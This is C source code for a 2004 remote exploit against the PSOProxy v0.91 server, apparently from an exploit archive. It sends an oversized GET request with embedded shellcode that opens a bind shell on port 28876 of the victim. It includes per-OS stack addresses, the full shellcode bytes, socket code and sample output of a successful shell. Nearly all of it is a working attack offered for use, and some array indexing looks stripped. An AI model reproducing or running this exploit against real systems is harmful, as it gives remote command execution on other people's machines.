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/* Copyright © Rosiello Security http www rosiello org ================ -== Remote Exploit for PSOProxy version v0.91 ==-- Code by: rave Contact: email protected Date: Feb 2004 Bug found by: Donato Ferrante There is a vulnerability found in the PSOProxy server. An attacker can execute arbitrary code exploiting remotely a buffer overflow. The exploit sends: GET / <1021 x A><adres of the shellcode><shellcode> This spawns a bindshell on the victim at port 28876.. Usage <C:\>psoproxy-exploit.exe <target host> <target number> Target Number Target Name Stack Adress ============= =========== =========== 0 Demo 0xBADC0DED 1 Windows XP Home Edtion SP1. 0x00D2FDDA 2 Windows XP Pro Edtion SP1. 0x00EDFDDC 3 Win2k Pro Edtion. 0x00BBFDDC <C:\> psoproxy-exploit localhost 1 + Winsock Inalized + Trying to connect to localhost:8080 + socket inalized + Overflowing string is Prepared + Connected. + Overflowing string had been send <C:\> telnet localhost 28876 Microsoft Windows XP versie 5.1.2600 (C) Copyright 1985-2001 Microsoft Corp. <D:\> DO NOT USE THIS CODE ON DIFFERENT MACHINES BUT YOURS!!! Respect the law as we do! Special Tankz to: opy { win2k 0wnage !! ty for lending me ur box } B0f { Hope to work with u again in the futhure like we do all the time } Dragnet { Always willing to help me out } Angelo { Verry good maffio`so } Greetz go out to: Kajun { Verry suportive guy } NrAziz { 0wns pakistan hax0r scene ! beware always say mr NrAziz } sloth { good guy } Mercy { Hope to see u soon } Netric security {www.netric.org/.de } + All the hax0rs i forgot. Hate Messages: Ziphie { U didnt get mine bitch } OOh and Li0n7 voila fr { you're doing it all wrong, your exploit doesn't work! http://www.securityfocus.com/archive/1/354769/2004-02-15/2004-02-21/0 k/j man, keep on doing the good stuff and next time add some more stack adresses so it would work on other os`s... } Advisory at: http://www.rosiello.org/en/read_bugs.php?15 */ #include <stdio.h> #include <winsock2.h> #include <errno.h> #include <windows.h> // Darn fucking 1337 macro shit #define ISIP(m) (!(inet_addr(m) ==-1)) #define offset 1024 //1024 struct remote_targets { char *os; unsigned long sh_addr; } target ={ /* Option`s for your eyes only :D*/ "Demo ", 0xbadc0ded, "Windows XP Home Edtion SP1. ", 0x00D2FDDA, "Windows XP Pro Edtion SP1. ", 0x00edfddc, "Win2k Pro Edtion. ", 0x00bbfddc, }; //Bindcode spawns a binshell on port 28876 (Thanks to metasploit.com guys) unsigned char shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52" "\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1" "\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a" "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" "\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b" "\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32" "\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff" "\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe" "\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50" "\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff" "\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89" "\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff" "\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60" "\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89" "\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56" "\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53" "\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53" "\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf" "\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf" "\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff" "\x83\xc4\x5c\x61\xeb\x89\x41"; // now what would this button do ? char *host_ip; u_long get_ip(char *hostname) { struct hostent *hp; if (ISIP(hostname)) return inet_addr(hostname); if ((hp = gethostbyname(hostname))==NULL) { perror ("+ gethostbyname() failed check the existance of the host.\n"); exit(-1); } return (inet_ntoa(*((struct in_addr *)hp->h_addr))); } /// oooh yeah uuuh right .... int usage (char *what) { int i; fprintf(stdout,"Copyright © Rosiello Security\n"); fprintf(stdout,"http://www.rosiello.org\n\n"); fprintf(stdout,"Usage %s <target host> <target number>\n",what); fprintf(stdout,"Target Number\t\tTarget Name\t\t\t\tStack Adress\n"); fprintf(stdout,"=============\t\t===========\t\t\t\t===========\n"); for (i=0;i < 4;i++) fprintf(stdout,"%d\t\t\t%s\t\t0x%p\n",i,targeti.os,targeti.sh_addr); exit(0); } int main(int argc,char **argv) { char bufferoffset*2="get /",*ptr,*address; int sd,oops,i,choise; struct sockaddr_in ooh; WSADATA wsadata; WSAStartup(0x101, &wsadata); if (argc < 2) usage(argv0); address=argv1; choise=atoi(argv2); fprintf(stdout,"+ Winsock Inalized\n"); /* Lets start making a litle setup Change the port if you have to */ ooh.sin_addr.s_addr = inet_addr(get_ip(address)); ooh.sin_port = htons(8080); ooh.sin_family = AF_INET; fprintf(stdout,"+ Trying to connect to %s:%d\n",address,8080); // ok ok here`s ur sock() sd = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP); if (!sd<0) { fprintf(stderr,"! socket() failed.\n");exit (-1); } fprintf(stdout,"+ socket inalized\n"); /* initializing the expploiting buffer, read the file comments for the details */ ptr=buffer+strlen(buffer); for (i=strlen(buffer);i < offset;i++) *ptr++=(char)0x2e; for (i=strlen(buffer);i < offset+6;i++) { *ptr++=(char)0xa; *ptr++=(char)0xd ;} memcpy(buffer+strlen(buffer),((char *)&shellcode),strlen(shellcode)); memcpy(buffer+offset,((char *)&targetchoise.sh_addr),3); fprintf(stdout,"+ Overflowing string is Prepared\n"); // Knock knock ... hi i want to hook up with you oops=connect(sd, (struct sockaddr *)&ooh, sizeof( ooh )); if(oops!=0) { fprintf(stderr,"! connect() failed.\n"); exit(-1); } // yep we are in :D fprintf(stdout,"+ Connected.\n"); // Sending some Dangerous stuff i = send(sd,buffer,strlen(buffer),0); if (!i <0) { fprintf (stdout,"! Send() failed\n"); exit (-1) ; } fprintf(stdout,"+ Overflowing string had been send\n"); /* May psoproxy rest in peace (have cold a nice one and telnet to <host> 28876 <C:\> telnet localhost 28876 Microsoft Windows XP versie 5.1.2600 (C) Copyright 1985-2001 Microsoft Corp. D:\> */ // the cleaners !! WSACleanup(); // EOF return 0; } // milw0rm.com 2004-02-26
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